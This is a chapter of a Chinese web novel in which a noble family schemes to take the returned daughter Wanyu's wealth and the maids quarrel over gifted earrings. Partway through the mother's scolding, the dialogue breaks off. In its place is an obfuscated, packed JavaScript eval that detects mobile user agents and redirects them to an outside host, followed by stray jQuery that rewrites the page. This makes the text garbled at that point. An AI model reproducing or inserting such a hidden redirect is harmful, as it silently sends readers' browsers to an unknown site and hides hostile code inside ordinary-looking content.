29. 第29章
作品:《被奸臣养兄强夺后》 她这话算是说到江源慎心坎里了,对于这个失而复得的女儿,他也没有太在意,毕竟在他心里,儿子更重要,回来无非就是添双碗筷或者花点儿银两买些好看的衣物首饰,那才能用多少,侯府还是养的起的,再说江晚榆生的花容月貌,到时候万一嫁的好,侯府还能跟着沾光,百利而无一害。
他目光带着几分赞许,“明瑶,你也知道我和你母亲对这些身外之物并不在意,既然其中有你的那份,我们会去和晚榆商量商量,至于那些东西怎么安排,都由你说了算。”
好话全让他说了,江明瑶心里清楚,如果不是涉及但江源慎的利益,他才没时间去管这些事情,能从江晚榆手里要过来自然也能从她手里要过去,她怎么会不明白她这个父亲的想法呢?
“父亲,明瑶是心甘情愿的,我对打理这些也不在行,可以全交由母亲,只要母亲允许我在身边学学管家之道就行。”
江源慎欣慰地点点头,觉得自己当真是养了个贴心的女儿,“也好,毕竟以后你也是要嫁入宁王府的,早点跟着你母亲学学,到时候嫁人了也不至于让人瞧了笑话。”
程淑兰赶紧拉住江明瑶,开心道:“我的明瑶真是长大了,女大不中留啊。”
江明瑶满脸羞涩,怒嗔道:“母亲!”
程淑兰和江源慎欣慰地笑出声,江明瑶要的就是这样的效果,用这点财物得到了父母亲的信任和偏爱,江源慎既然这么说了,自然也默认嫁入宁王府的就是她江明瑶,不管今后老太太再说什么,有父亲撑腰自然不一样。
三人图谋完江晚榆的财产后,江源慎喊了小厮进来,“去请五姑娘过来。”
小厮立刻点头应是。
江晚榆今早去给祖母请安后,还是有些担心老太太的病情,于是派人吩咐了小厨房做了些清淡小粥,老夫人的病好了大半,就是还不爱用膳,这次的粥里放了好几味开胃健脾的中草药,这还是之前在裴府时,她小时候经常生病,一生病就闹着不吃饭,裴夫人想了各种办法才得了这么个方子。
她吩咐月汐等会儿给祖母送过去,今天清点阿娘送来的东西有点累,她想早些休息,月芙伺候她准备更衣沐浴。
突然,院子里传来杂乱的脚步声,她只听到有丫鬟说姑娘正在沐浴要睡下了,接着就听到小厮的声音,江晚榆仔细听了听,貌似听到了几句侯爷,夫人之类的词,她让月芙给自己穿好衣服,接着就有丫鬟进来禀告。
“姑娘,外面来人说侯爷和夫人在书房等您,想请您过去一趟。”
她想想便知,她这个母亲很少主动找她,唯一一次还是为了替江明瑶出头,这个父亲就更不必说了,她在侯府很少见他,连祖母的院子江源慎去的次数也少之又少,还不如她这个当孙女的去的频繁。
这两人凑到一起派人来传唤她,哪里有这么巧的事情,无非就是因为今日侯府来了几辆裴府的马车,这也算在她意料之内,但她没想到来的竟然这么快,连一个晚上都按耐不住。
她淡淡道:“你去回复他说,我随后就过去给父亲母亲请安。”
……
江晚榆带着月汐走后,给老夫人送药膳这个任务就给了月芙,月芙虽然对别的事情不敏感,但是对自家姑娘的事情却有感应。
她觉得今日姑娘被侯爷夫人喊过去,肯定和自己今天炫耀耳坠的事情有关,她恨不得抽自己,为什么自己总给姑娘惹麻烦。
竹芯早就听到院里的动静,等她过来的时候便只看到了沉默的月芙,月芙这人最闹腾,如今这般模样倒让她困惑,她随口问:“她这是怎么了?”
有丫鬟道:“我们也不清楚月芙姐姐是怎么了,自从姑娘离开,她便时时盯着院门,不停张望,我们去问,她也不说话。”
内院果然发生了她不清楚的事,竹芯立刻警惕起来,“那五姑娘去哪儿了?”
“五姑娘被侯爷夫人喊到书房了。”
竹芯作为侯府多年的大丫鬟,心思一向敏感多疑,很多主子的事猜也能猜个大概,再结合月芙这样担心的表现,她了然于心。
“我看定是因为某件事惹恼了侯爷。”竹芯砸吧砸吧嘴,故意盯着月芙,不出所料,月芙立刻朝她瞪过来,竹芯被她的眼神看的很不舒服,不服气道:“你瞪我做什么?要不是你今日到处炫耀姑娘给了一副玉石耳坠,能惹得侯府上下老仆和丫鬟们骚动不安吗?”
月芙激动问:“你什么意思?”她其实心里有这样的猜想,但她不确定,直到竹芯把这件事血淋淋地摆在台面上,月芙才真的确信是自己惹的祸。
“我的意思说的很明白了,月芙,我也是很纳闷,你和月汐明明都是从裴家来的,怎么人家比你聪明这么多?怪不得姑娘出去从来不带你。”竹芯是知道怎么戳人心窝子的,比如刚才江晚榆是派了月汐去送药膳的,可扭头就带走了月汐,把这活儿给了月芙。
竹芯本来还想说什么,其他丫鬟赶紧拦住她,“竹芯姐姐,莫要多说了,月芙姐姐本来就很担心姑娘。”
“关我什么事?你们拦我做什么?那些惹侯爷生气的事情又不是我做的。”
月芙头一次不想和竹芯争吵,以往就数她们两个吵的最凶,分不出输赢不罢休的那种,竹芯平日厉害,但只要月芙上场,她也讨不了什么好处。还没等竹芯说下一句,月芙头也不回地跑开了,连老夫人的药膳也留下不管了。
江晚榆进书房的时候,抬眼便看到了三人正在品茶,期间有说有笑看起来其乐融融,她给江源慎和程淑兰行了礼。
“不知父亲找我何事?”
被突然打断的江源慎回过神来,盯着面前的这个女儿看,他之前公务繁忙,很少进内园去给老夫人请安,所以每次都是匆匆瞥一眼这些女儿们,现在静下心来看,饶是他见过那么多女人,却没有一个能在江晚榆身边占优势。
她的确是美,漂亮的不像是那等商贾家里长大的女儿,举手投足之间颇显贵族风范,哪怕是现在,她依旧保持着行礼的姿势,没有动摇分毫。
这就要得益于上辈子她嫁入了宁王府,宁王妃不是个好相处的,首先难为她的就是规矩礼仪,她学了很久不知受了多少苦才让人挑不出半分错误。
江源慎道:“先坐下。”
江晚榆起身坐到他身边,对面是程淑兰和江明瑶两人,从她进来就盯着她看,江源慎不想当那个责备女儿的坏人,所以对程淑兰使眼色。
程淑兰问:“我听下面的人说,你今日赏了对价值不菲的东西给了下人?”她这些责备的话早就在心里盘算了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349774|183176||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
数十遍,所以还没等江晚榆回答就急忙说:
“我知道你年纪小,你在裴家可以为所欲为,可如今这里的侯府,管理这么大一家子人属实不易,你轻易赏了那么贵重的东西,下面的人蠢蠢欲动,都想弃了主子去你那里寻个差事,今日便有好几人托词要去你院里伺候,你如此行事,不如这个侯府你来当家好了!”
这么大一顶帽子扣下来,江晚榆看似关切询问她,“竟然有这样的事,母亲千万不要生气,气坏了身子便不好了,我有一言不知当讲不当讲。”
程淑兰不以为意道:“你说。”
江晚榆眉眼弯弯,看起来亮晶晶的,“我觉得如果是这样倒是更方便母亲管家了呢,把那些背主求荣的刁奴正好清出侯府,给那些蠢蠢欲动的人一个警醒,断了她们那些不该有的欲望,她们也能对母亲更加尊敬和倾佩。”
她这话一出,连江源慎都惊了,程淑兰却是直接怒了,口不择言,“你……”
江晚榆这话不无道理,府里多的是卖主求荣的奴才,大家月钱待遇都一样,便不会生出异心,哪怕是皇亲国戚也会为了宫里的赏赐不均而生出口舌之争,但是只要当今陛下足够威严震慑人心,那下面这些人自然不敢造次。
她这话什么意思?是觉得自己能力不足当不了这当家主母吗?程淑兰第一次被气的浑身颤抖,还从没人这么当面说过她,江晚榆虽察觉到程淑兰的情绪,但她确实没有那个意思,可如今解释倒显得她太心虚,所以只能沉默。
江明瑶安慰着程淑兰,愤然开口:“妹妹这是说的什么话,母亲辛劳半生,诺大一个侯府诸事都要靠着母亲操劳,你怎能站着说话不腰疼,母亲并没有责怪你的意思,只是想好心提醒妹妹,你却这样气母亲!”
江源慎也皱眉,他倒是没想到这丫头如此伶牙俐齿,看来一个程淑兰并不能达到他们这次的目的,他叹气道:“晚榆,你母亲不容易,不要和她顶嘴,你这么多年才回来,如今却还和裴家如此亲密,哪个当母亲的能受的了?”
如今这就受不了了?裴家没送东西过来的时候,也没见程淑兰如此关心她,看来父亲是早就忘了当初她差点被程仕荣欺辱的事情了。
她上辈子就看清了这个所谓的父亲,如果真的关心她,还会在她怀孕期间把江明瑶送到宁王府照顾她?一切都是个幌子罢了,他怕一个女儿笼络不了陆怀辞,就派了两个,真是打的一手好算盘。
不过她也没想着闹翻脸,她急切道:“母亲不要怪我,是我说话太着急了。”
江源慎看到她这样的态度,脸色稍微好看了一点,江明瑶也了解他这个父亲,他绝对不会亲自开口要裴家的东西,母亲也是三言两语说不过江晚榆,还是得她来。
“五妹妹,咱们年龄一样,虽说你还没有未来夫家,但终究是要嫁出去的,如今身边虽有些财物傍身,但还是得学管家之能,这样到了未来夫婿家才不会被小瞧。”
江晚榆也不慌着反驳,就那么静静地看着江明瑶,冷静的让她心里莫名发慌,仿佛她的小心思早就被看透,就只等着她说出口,尤其说到未来夫婿时她更心虚。
她只能硬着头皮道:“不如妹妹把那些东西交给母亲保管,你也可以顺便向母亲多学习学习,为了今后做打算。”